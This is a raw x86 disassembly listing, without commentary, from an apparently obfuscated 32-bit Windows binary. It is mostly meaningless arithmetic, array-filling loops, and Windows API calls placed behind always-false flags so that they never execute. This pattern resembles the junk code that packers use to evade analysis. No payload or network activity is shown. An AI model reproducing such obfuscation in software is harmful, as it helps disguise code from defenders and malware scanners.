mov byte [ebp - 0x2a1], 0
movzx eax, byte [ebp - 0x2a1]
test eax, eax
je 0x46bb38
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
mov dword [ebp - 0x4d4], 9
mov dword [ebp - 0x1b8], 1
push 4
lea ecx, [ebp - 0x27c4]
call fcn.004308a8
mov dword [ebp - 0xddc], 0xadf1adb2
mov dword [ebp - 0x2464], 0x5f84255e
push 1
lea ecx, [ebp - 0x301c]
call fcn.004308a8
mov dword [ebp - 0x50], 0
jmp 0x46bb8a
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x46bba6
push dword [ebp - 0x50]
lea ecx, [ebp - 0x27c4]
call fcn.00430996
mov dword [eax], 0xfffffffe
jmp 0x46bb83
mov dword [ebp - 0x50], 0
jmp 0x46bbb6
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x46bbcc
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x363c], 0xfffffff8
jmp 0x46bbaf
mov dword [ebp - 0x50], 0
jmp 0x46bbdc
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x46bbf5
push dword [ebp - 0x50]
lea ecx, [ebp - 0x301c]
call fcn.00430996
and dword [eax], 0
jmp 0x46bbd5
mov dword [ebp - 0x1b8], 0
jmp 0x46bc0e
mov eax, dword [ebp - 0x1b8]
dec eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0xfffffff3
je 0x46bc8d
mov dword [ebp - 0x418], 9
mov dword [ebp - 0x418], 3
jmp 0x46bc3a
mov eax, dword [ebp - 0x418]
dec eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
jl 0x46bc7d
mov byte [ebp - 0x3e5], 0
movzx eax, byte [ebp - 0x3e5]
test eax, eax
je 0x46bc63
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
push dword [ebp - 0x418]
lea ecx, [ebp - 0x27c4]
call fcn.00430996
cmp dword [eax], 0
je 0x46bc7b
jmp 0x46bc2d
jmp 0x46bc2d
cmp dword [ebp - 0x418], 0
je 0x46bc88
jmp 0x46bc8d
jmp 0x46bc01
mov dword [ebp - 0x1b8], 0
jmp 0x46bca6
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 9
je 0x46bd8c
mov dword [ebp - 0x1bf0], 0xffffffff
mov byte [ebp - 0x2a3], 0
movzx eax, byte [ebp - 0x2a3]
test eax, eax
je 0x46bcd5
call dword [sym.imp.USER32.dll_WaitMessage]
cmp dword [ebp - 0x1b8], 0
je 0x46bcf0
mov eax, dword [ebp - 0xddc]
dec eax
mov dword [ebp - 0xddc], eax
jmp 0x46bd87
mov dword [ebp - 0xde4], 0x92758e92
push 1
lea ecx, [ebp - 0x27c4]
call fcn.00430996
cmp dword [eax], 0
jne 0x46bd4e
mov eax, dword [ebp - 0xde4]
mov dword [ebp - 0x322c], eax
push 6
pop eax
test eax, eax
je 0x46bd45
cmp dword [ebp - 0x1bf0], 0
je 0x46bd45
mov eax, dword [ebp - 0x1bf0]
imul eax, dword [ebp - 0xde4]
test eax, eax
je 0x46bd45
push 4
pop eax
test eax, eax
je 0x46bd45
or eax, 0xffffffff
jne 0x46bd4e
and dword [ebp - 0x1bf8], 0
jmp 0x46bd58
mov dword [ebp - 0x1bf8], 1
mov eax, dword [ebp - 0x1bf8]
mov dword [ebp - 0x2464], eax
mov byte [ebp - 0x371], 0
movzx eax, byte [ebp - 0x371]
test eax, eax
je 0x46bd87
push 0
push 0
push 0x12e1
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
jmp 0x46bc99
lea ecx, [ebp - 0x301c]
call fcn.0043097a
lea ecx, [ebp - 0x27c4]
call fcn.0043097a
mov dword [ebp - 0x660], 1
cmp dword [ebp - 0x4d4], 0
je 0x46cbf1
mov dword [ebp - 0x22c], 0x46710139
mov dword [ebp - 0x297c], 1
mov dword [ebp - 0x2978], 1
mov dword [ebp - 0x2974], 1
mov dword [ebp - 0x2970], 1
lea ecx, [ebp - 0x961]
call fcn.004309a5
push eax
lea eax, [ebp - 0x296c]
push eax
lea eax, [ebp - 0x297c]
push eax
lea ecx, [ebp - 0x3558]
call fcn.004309a8
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x302c]
call fcn.00430954
mov dword [ebp - 0x1c10], 0x83afd470
push 2
lea ecx, [ebp - 0x27dc]
call fcn.004308a8
mov dword [ebp - 0x168], 0
jmp 0x46be50
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 1
jge 0x46be6c
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0xe0], 0xfffffffb
jmp 0x46be43
mov dword [ebp - 0x168], 0
jmp 0x46be85
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 2
jge 0x46bea7
push dword [ebp - 0x168]
lea ecx, [ebp - 0x27dc]
call fcn.00430996
mov dword [eax], 0xa69eed08
jmp 0x46be78
mov eax, 0x38462751
test eax, eax
je 0x46c0c1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xe0], 0
jne 0x46bf7e
push 1
lea ecx, [ebp - 0x302c]
call fcn.00430996
mov dword [eax], 1
xor eax, eax
inc eax
jne 0x46bef9
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xe0], 0
jne 0x46bef9
and dword [ebp - 0xdec], 0
jmp 0x46bf03
mov dword [ebp - 0xdec], 1
cmp dword [ebp - 0xdec], 0x7582
jl 0x46bf1b
mov dword [ebp - 0x1c00], 1
jmp 0x46bf22
and dword [ebp - 0x1c00], 0
cmp dword [ebp - 0x1c00], 0xd7d2a7e9
jne 0x46bf3a
mov dword [ebp - 0xdf4], 1
jmp 0x46bf41
and dword [ebp - 0xdf4], 0
mov eax, dword [ebp - 0x22c]
cmp dword [ebp - 0xdf4], eax
jg 0x46bf5b
mov dword [ebp - 0x1c08], 1
jmp 0x46bf62
and dword [ebp - 0x1c08], 0
mov eax, dword [ebp - 0x22c]
cmp dword [ebp - 0x1c08], eax
jg 0x46bf7e
or eax, 0xffffffff
jne 0x46bf7e
and dword [ebp - 0xdfc], 0
jmp 0x46bf88
mov dword [ebp - 0xdfc], 1
mov eax, dword [ebp - 0xdfc]
mov dword [ebp - 0x1c10], eax
mov eax, dword [ebp - 0x1c10]
cmp dword [ebp - 0x22c], eax
jle 0x46bfae
mov dword [ebp - 0xe04], 1
jmp 0x46bfb5
and dword [ebp - 0xe04], 0
cmp dword [ebp - 0xe04], 0xffffffff
jne 0x46bfda
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xe0], 0
je 0x46bfda
mov dword [ebp - 0x1c18], 1
jmp 0x46bfe1
and dword [ebp - 0x1c18], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0]
cmp dword [ebp - 0x1c18], eax
jge 0x46c002
mov dword [ebp - 0xe0c], 1
jmp 0x46c009
and dword [ebp - 0xe0c], 0
imul eax, dword [ebp - 0xe0c], 0xffff
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xe0]
jl 0x46c02e
mov dword [ebp - 0x1c20], 1
jmp 0x46c035
and dword [ebp - 0x1c20], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0]
imul eax, dword [ebp - 0x1c20]
cmp eax, 0x37a3
jle 0x46c05c
mov dword [ebp - 0xe14], 1
jmp 0x46c063
and dword [ebp - 0xe14], 0
mov eax, dword [ebp - 0x22c]
cmp dword [ebp - 0xe14], eax
je 0x46c07d
mov dword [ebp - 0x1c28], 1
jmp 0x46c084
and dword [ebp - 0x1c28], 0
cmp dword [ebp - 0x1c28], 0xfffffff6
jne 0x46c099
mov dword [ebp - 0xe1c], 1
jmp 0x46c0a0
and dword [ebp - 0xe1c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0]
cmp dword [ebp - 0xe1c], eax
jle 0x46c0c1
mov dword [ebp - 0x1c30], 1
jmp 0x46c0c8
and dword [ebp - 0x1c30], 0
mov eax, dword [ebp - 0x1c30]
mov dword [ebp - 0x22c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0]
cmp eax, dword [ebp - 0x22c]
jne 0x46c0f5
mov dword [ebp - 0xe24], 1
jmp 0x46c0fc
and dword [ebp - 0xe24], 0
push 1
lea ecx, [ebp - 0x27dc]
call fcn.00430996
mov ecx, dword [ebp - 0xe24]
mov dword [eax], ecx
mov esi, dword [ebp - 0x22c]
push 1
lea ecx, [ebp - 0x27dc]
call fcn.00430996
mov dword [eax], esi
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0]
xor ecx, ecx
sub ecx, 0xfffffff7
imul eax, ecx
cmp eax, 1
jne 0x46c14c
mov dword [ebp - 0x1c38], 1
jmp 0x46c153
and dword [ebp - 0x1c38], 0
cmp dword [ebp - 0x1c38], 0x123ebaa2
jle 0x46c17b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xe0], 0
jne 0x46c17b
mov dword [ebp - 0xe2c], 1
jmp 0x46c182
and dword [ebp - 0xe2c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0]
imul eax, dword [ebp - 0xe2c]
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x27dc]
call fcn.0043097a
lea ecx, [ebp - 0x302c]
call fcn.0043097a
mov dword [ebp - 0x100], 0x6fe7d8a8
mov dword [ebp - 0x630], 0
mov dword [ebp - 0xab4], 0x28e48792
mov dword [ebp - 0x247c], 0xffffffff
mov dword [ebp - 0x628], 0
jmp 0x46c1f3
mov eax, dword [ebp - 0x628]
inc eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 4
jge 0x46c20f
mov eax, dword [ebp - 0x628]
mov dword [ebp + eax*4 - 0x93c], 0
jmp 0x46c1e6
mov dword [ebp - 0x100], 3
jmp 0x46c228
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
jl 0x46c5da
mov dword [ebp - 0x18], 0xfffffffd
mov dword [ebp - 0x1c40], 0x86992f1e
mov dword [ebp - 0x246c], 0xbc130268
mov dword [ebp - 0x920], 0
jmp 0x46c269
mov eax, dword [ebp - 0x920]
inc eax
mov dword [ebp - 0x920], eax
cmp dword [ebp - 0x920], 3
jge 0x46c285
mov eax, dword [ebp - 0x920]
mov dword [ebp + eax*4 - 0x303c], 0xfffffffe
jmp 0x46c25c
mov dword [ebp - 0x18], 3
jmp 0x46c295
cmp dword [ebp - 0x18], 0
jl 0x46c5ad
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp + eax*4 - 0x93c]
mov dword [ebp - 0x1c40], eax
cmp dword [ebp - 0x1c40], 0
je 0x46c2d7
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x93c], 0
je 0x46c2d7
mov dword [ebp - 0xe34], 1
jmp 0x46c2de
and dword [ebp - 0xe34], 0
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp + eax*4 - 0x93c]
sub eax, dword [ebp - 0xe34]
cmp eax, dword [ebp - 0x100]
jg 0x46c305
mov dword [ebp - 0x1c48], 1
jmp 0x46c30c
and dword [ebp - 0x1c48], 0
mov eax, dword [ebp - 0x1c48]
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 0
jg 0x46c331
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x93c], 0
je 0x46c34a
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x93c], 0
je 0x46c34a
mov dword [ebp - 0xe3c], 1
jmp 0x46c351
and dword [ebp - 0xe3c], 0
mov eax, dword [ebp - 0xe3c]
sub eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x100]
jg 0x46c36e
mov dword [ebp - 0x1c50], 1
jmp 0x46c375
and dword [ebp - 0x1c50], 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x93c]
imul ecx, dword [ebp - 0x1c50]
sub ecx, 0x59f89f2e
cmp dword [ebp + eax*4 - 0x93c], ecx
jl 0x46c3a4
mov dword [ebp - 0xe44], 1
jmp 0x46c3ab
and dword [ebp - 0xe44], 0
cmp dword [ebp - 0xe44], 0x2305aba9
jge 0x46c3c3
mov dword [ebp - 0x1c58], 1
jmp 0x46c3ca
and dword [ebp - 0x1c58], 0
cmp dword [ebp - 0x1c58], 0xc213
jne 0x46c3e2
mov dword [ebp - 0xe4c], 1
jmp 0x46c3e9
and dword [ebp - 0xe4c], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x93c]
add eax, dword [ebp - 0xe4c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x93c]
lea eax, [eax + ecx + 1]
test eax, eax
jne 0x46c419
mov byte [ebp - 0x2a5], 0
movzx eax, byte [ebp - 0x2a5]
test eax, eax
je 0x46c5d5
push 0
push 0
push 0x1206
push 0xcf1
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
jmp 0x46c21b
mov byte [ebp - 0x2a7], 0
mov dword [ebp - 0x320], 0xe75d5f8d
mov dword [ebp - 0x118], 0x33a79cc0
mov dword [ebp - 0x78], 0
jmp 0x46c605
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x46c61b
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x27f4], 1
jmp 0x46c5fe
mov dword [ebp - 0x78], 0
jmp 0x46c62b
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x46c641
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x5ac], 0xe83c7730
jmp 0x46c624
mov dword [ebp - 0x78], 0
jmp 0x46c651
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x46c667
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x304c], 0xffffffff
jmp 0x46c64a
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x5ac], 0
jmp 0x46c695
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x5ac], 2
jg 0x46c85e
mov dword [ebp - 0x498], 0x372ba29f
mov dword [ebp - 0x2c44], 0xffffffff
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x5ac], 0
jne 0x46c728
mov eax, dword [ebp - 0x498]
cmp dword [ebp - 0x498], eax
jge 0x46c6e7
mov dword [ebp - 0x1c70], 1
jmp 0x46c6ee
and dword [ebp - 0x1c70], 0
mov eax, dword [ebp - 0x1c70]
mov dword [ebp - 0x320], eax
mov eax, dword [ebp - 0x320]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
imul eax, dword [ebp - 0x498]
add eax, 0x5034
cmp eax, 0xfa3a92bd
ja 0x46c728
and dword [ebp - 0x1c78], 0
jmp 0x46c732
mov dword [ebp - 0x1c78], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5ac]
mov eax, dword [ebp + eax*4 - 0x27f4]
mov dword [ebp - 0xe64], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5ac]
mov ecx, dword [ebp - 0xe64]
mov dword [ebp + eax*4 - 0x27f4], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5ac]
imul eax, dword [ebp - 0xe64]
imul eax, dword [ebp - 0x1c78]
test eax, eax
jne 0x46c7a5
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5ac]
cmp dword [ebp + eax*4 - 0x27f4], 0
jne 0x46c7a5
and dword [ebp - 0xe6c], 0
jmp 0x46c7af
mov dword [ebp - 0xe6c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5ac]
cmp dword [ebp - 0xe6c], eax
je 0x46c7d0
mov dword [ebp - 0x1c80], 1
jmp 0x46c7d7
and dword [ebp - 0x1c80], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5ac]
cmp dword [ebp - 0x1c80], eax
je 0x46c7f8
mov dword [ebp - 0xe74], 1
jmp 0x46c7ff
and dword [ebp - 0xe74], 0
mov eax, dword [ebp - 0xe74]
mov dword [ebp - 0x498], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x498]
mov dword [ebp + eax - 0x304c], ecx
mov dword [ebp - 0x118], 0
jmp 0x46c837
mov dword [ebp - 0x118], 2
jmp 0x46c877
cmp dword [ebp - 0x118], 0
jl 0x46c9a1
mov dword [ebp - 0x9bc], 0x2cbd4dae
mov dword [ebp - 0x320], 0
jmp 0x46c8a7
cmp dword [ebp - 0x320], 2
jg 0x46c99c
mov dword [ebp - 0x9b4], 0
mov byte [ebp - 0x3e7], 0
movzx eax, byte [ebp - 0x3e7]
test eax, eax
je 0x46c8da
jmp 0x46c86a
movzx eax, byte [ebp - 0x2a7]
test eax, eax
je 0x46cbec
mov dword [ebp - 0x26c], 0xf65e790e
mov dword [ebp - 0x458], 0xf23e4692
mov dword [ebp - 0x24ac], 0xffff
mov byte [ebp - 0x379], 0
movzx eax, byte [ebp - 0x379]
test eax, eax
je 0x46ca00
push 0x1309
push 0x1d4a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x2c4c], eax
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
je 0x46cb8c
jmp 0x46dd88
mov dword [ebp - 0x234], 0xa48bbca6
push 2
lea ecx, [ebp - 0x2058]
call fcn.004308a8
mov dword [ebp - 0x1cd8], 0xc01d4c3f
mov dword [ebp - 0x1f8], 0
jmp 0x46cc2b
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 2
jge 0x46cc47
mov eax, dword [ebp - 0x1f8]
mov dword [ebp + eax*4 - 0x209c], 0x4cff
jmp 0x46cc1e
mov dword [ebp - 0x1f8], 0
jmp 0x46cc60
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 2
jge 0x46cc7f
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x2058]
call fcn.00430996
or dword [eax], 0xffffffff
jmp 0x46cc53
mov dword [ebp - 0x234], 0x17
jmp 0x46cc98
mov eax, dword [ebp - 0x234]
dec eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xfffffffe
jl 0x46cf1a
mov dword [ebp - 0x53c], 0xdc4b4e12
mov dword [ebp - 0x638], 0
jmp 0x46ccc8
mov eax, dword [ebp - 0x638]
inc eax
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 1
jge 0x46cce4
mov eax, dword [ebp - 0x638]
mov dword [ebp + eax*4 - 0xebc], 8
jmp 0x46ccbb
mov dword [ebp - 0x53c], 0xf
jmp 0x46ccfd
mov eax, dword [ebp - 0x53c]
dec eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0xfffffff8
jg 0x46cefe
mov dword [ebp - 0x640], 0x77ab3921
mov eax, dword [ebp - 0x640]
inc eax
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x234], 0
je 0x46cd47
mov byte [ebp - 0x3e9], 0
movzx eax, byte [ebp - 0x3e9]
test eax, eax
je 0x46cd42
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
jmp 0x46cef9
mov dword [ebp - 0xea4], 0xfffa
push 1
lea ecx, [ebp - 0x29ec]
call fcn.004308a8
mov dword [ebp - 0x1ca8], 0x7ee39f3f
mov dword [ebp - 0x870], 0
jmp 0x46cd81
mov eax, dword [ebp - 0x870]
inc eax
mov dword [ebp - 0x870], eax
cmp dword [ebp - 0x870], 1
jge 0x46cda3
push dword [ebp - 0x870]
lea ecx, [ebp - 0x29ec]
call fcn.00430996
mov dword [eax], 7
jmp 0x46cd74
cmp dword [ebp - 0x1ca8], 0
jne 0x46cded
mov eax, dword [ebp - 0x1ca8]
mov dword [ebp - 0x2c5c], eax
mov eax, 0x135
test eax, eax
jne 0x46cdcb
cmp dword [ebp - 0x640], 0xffff
mov eax, 0xfffa
test eax, eax
jne 0x46cddd
mov eax, 0x974c
test eax, eax
je 0x46cde4
push 2
pop eax
test eax, eax
jne 0x46cded
and dword [ebp - 0xe9c], 0
jmp 0x46cdf7
mov dword [ebp - 0xe9c], 1
cmp dword [ebp - 0xe9c], 0x2fa814b1
je 0x46ce0f
mov dword [ebp - 0x1cb0], 1
jmp 0x46ce16
and dword [ebp - 0x1cb0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xebc]
cmp dword [ebp - 0x1cb0], eax
jge 0x46ce37
mov dword [ebp - 0xeac], 1
jmp 0x46ce3e
and dword [ebp - 0xeac], 0
mov dword [ebp - 0xea4], 1
mov eax, dword [ebp - 0xea4]
mov dword [ebp - 0x1cb8], eax
push 0
lea ecx, [ebp - 0x29ec]
call fcn.00430996
mov ecx, dword [ebp - 0x1cb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1cb8]
cmp eax, dword [ebp - 0xeac]
jge 0x46ce83
mov dword [ebp - 0x1cc0], 1
jmp 0x46ce8a
and dword [ebp - 0x1cc0], 0
mov eax, dword [ebp - 0x1cc0]
sub eax, dword [ebp - 0x640]
cmp eax, dword [ebp - 0x234]
jge 0x46ceaa
mov dword [ebp - 0xeb4], 1
jmp 0x46ceb1
and dword [ebp - 0xeb4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x209c]
cmp dword [ebp - 0xeb4], eax
je 0x46ced2
mov dword [ebp - 0x1cc8], 1
jmp 0x46ced9
and dword [ebp - 0x1cc8], 0
push 0
lea ecx, [ebp - 0x2058]
call fcn.00430996
mov ecx, dword [ebp - 0x1cc8]
mov dword [eax], ecx
lea ecx, [ebp - 0x29ec]
call fcn.0043097a
jmp 0x46ccf0
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0xebc], 0x27e8
mov dword [ebp - 0x53c], eax
jmp 0x46cc8b
push 0
lea ecx, [ebp - 0x2058]
call fcn.00430996
mov esi, eax
push 0
lea ecx, [ebp - 0x2058]
call fcn.00430996
mov ecx, dword [esi]
cmp ecx, dword [eax]
jge 0x46cf48
mov dword [ebp - 0x1cd0], 1
jmp 0x46cf4f
and dword [ebp - 0x1cd0], 0
mov eax, dword [ebp - 0x234]
neg eax
imul eax, dword [ebp - 0x1cd0]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x209c]
je 0x46cf79
mov dword [ebp - 0xec4], 1
jmp 0x46cf80
and dword [ebp - 0xec4], 0
mov eax, dword [ebp - 0x1cd8]
cmp dword [ebp - 0xec4], eax
jl 0x46cf9a
mov dword [ebp - 0x24b4], 1
jmp 0x46cfa1
and dword [ebp - 0x24b4], 0
mov eax, dword [ebp - 0x1cd8]
mov dword [ebp - 0x2c64], eax
push 0
lea ecx, [ebp - 0x2058]
call fcn.00430996
mov esi, eax
push 0
lea ecx, [ebp - 0x2058]
call fcn.00430996
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x46cfdf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x209c], 0
je 0x46cffb
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x209c], 0
je 0x46cffb
mov dword [ebp - 0xecc], 1
jmp 0x46d002
and dword [ebp - 0xecc], 0
mov eax, dword [ebp - 0xecc]
sub eax, 6
mov dword [ebp - 0x234], eax
lea ecx, [ebp - 0x2058]
call fcn.0043097a
mov dword [ebp - 0x120], 1
mov dword [ebp - 0x140], 0
mov dword [ebp - 0xac], 2
mov dword [ebp - 0x1d20], 0xfffffff7
mov dword [ebp - 0x24c4], 7
mov dword [ebp - 0x7b8], 0
jmp 0x46d067
mov eax, dword [ebp - 0x7b8]
inc eax
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x7b8], 3
jge 0x46d083
mov eax, dword [ebp - 0x7b8]
mov dword [ebp + eax*4 - 0x305c], 0x298c245e
jmp 0x46d05a
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0x140], eax
jge 0x46d09d
mov dword [ebp - 0x1ce0], 1
jmp 0x46d0a4
and dword [ebp - 0x1ce0], 0
cmp dword [ebp - 0x1ce0], 0xc533
jg 0x46d0bc
mov dword [ebp - 0xed4], 1
jmp 0x46d0c3
and dword [ebp - 0xed4], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0xed4], eax
jg 0x46d0dd
mov dword [ebp - 0x1ce8], 1
jmp 0x46d0e4
and dword [ebp - 0x1ce8], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x1ce8], eax
jle 0x46d0fe
mov dword [ebp - 0xedc], 1
jmp 0x46d105
and dword [ebp - 0xedc], 0
mov eax, dword [ebp - 0xedc]
sub eax, 3
cmp eax, 0x95a
jle 0x46d127
cmp dword [ebp - 0xac], 0
jne 0x46d127
and dword [ebp - 0x1cf0], 0
jmp 0x46d131
mov dword [ebp - 0x1cf0], 1
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x1cf0], eax
jl 0x46d14b
mov dword [ebp - 0xee4], 1
jmp 0x46d152
and dword [ebp - 0xee4], 0
mov eax, dword [ebp - 0x140]
imul eax, dword [ebp - 0xee4]
test eax, eax
jne 0x46d16f
mov dword [ebp - 0x1cf8], 1
jmp 0x46d176
and dword [ebp - 0x1cf8], 0
cmp dword [ebp - 0xac], 0
je 0x46d194
cmp dword [ebp - 0xac], 0
je 0x46d194
mov dword [ebp - 0xeec], 1
jmp 0x46d19b
and dword [ebp - 0xeec], 0
mov eax, dword [ebp - 0xeec]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
jne 0x46d23b
cmp dword [ebp - 0x140], 1
jne 0x46d1c9
mov dword [ebp - 0x1d00], 1
jmp 0x46d1d0
and dword [ebp - 0x1d00], 0
imul eax, dword [ebp - 0x1d00], 0xa9ef
test eax, eax
jne 0x46d1f0
cmp dword [ebp - 0xac], 0
jne 0x46d1f0
mov dword [ebp - 0xef4], 1
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0xef4], eax
jg 0x46d21d
mov dword [ebp - 0xefc], 1
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0xefc], eax
jne 0x46d25f
mov dword [ebp - 0x1d10], 1
jmp 0x46d266
and dword [ebp - 0x1d10], 0
mov eax, dword [ebp - 0x1d10]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0xac], eax
jne 0x46d28c
mov dword [ebp - 0xf04], 1
jmp 0x46d293
and dword [ebp - 0xf04], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0xf04], eax
jge 0x46d2ad
mov dword [ebp - 0x330], 0xe75d5f8d
mov dword [ebp - 0x138], 0x33a79cc0
mov dword [ebp - 0x88], 0
jmp 0x46ddb5
cmp dword [ebp + 8], 1
jne 0x47cbe7
mov dword [ebp - 0x2be0], 0xffff
mov dword [ebp - 0x2bdc], 0xffff
mov dword [ebp - 0x2bd8], 0xffff
mov dword [ebp - 0x2bd4], 0xffff
mov dword [ebp - 0x3330], 1
mov dword [ebp - 0x2c90], 0x7dd68876
mov dword [ebp - 0x2fc0], 0x948708ef
mov dword [ebp - 0x2c98], 1
mov dword [ebp - 0x3260], 0x836b16b
mov dword [ebp - 0x2ca0], 0
mov dword [ebp - 0x2fc8], 0x6f65e790
mov dword [ebp - 0x2ca8], 0xaf7f
and dword [ebp - 0x2940], 0
and dword [ebp - 0x293c], 0
and dword [ebp - 0x2938], 0
and dword [ebp - 0x2934], 0
lea ecx, [ebp - 0x94d]
call fcn.004309a5
push eax
lea eax, [ebp - 0x2930]
push eax
lea eax, [ebp - 0x2940]
push eax
lea ecx, [ebp - 0x3578]
call fcn.004309a8
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x317c]
call fcn.00430954
mov dword [ebp - 0x17c], 0
jmp 0x47802f
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 3
jge 0x47804b
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x3614], 0x210e
jmp 0x478022
mov dword [ebp - 0x17c], 0
jmp 0x478064
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 3
jge 0x478080
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x35fc], 0x6e6a3735
jmp 0x478057
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2be0], 0xa8eac8b
push 3
lea ecx, [ebp - 0x317c]
call fcn.00430996
mov dword [ebp - 0x1b7c], eax
mov eax, dword [ebp - 0x1b7c]
mov eax, dword [eax]
inc eax
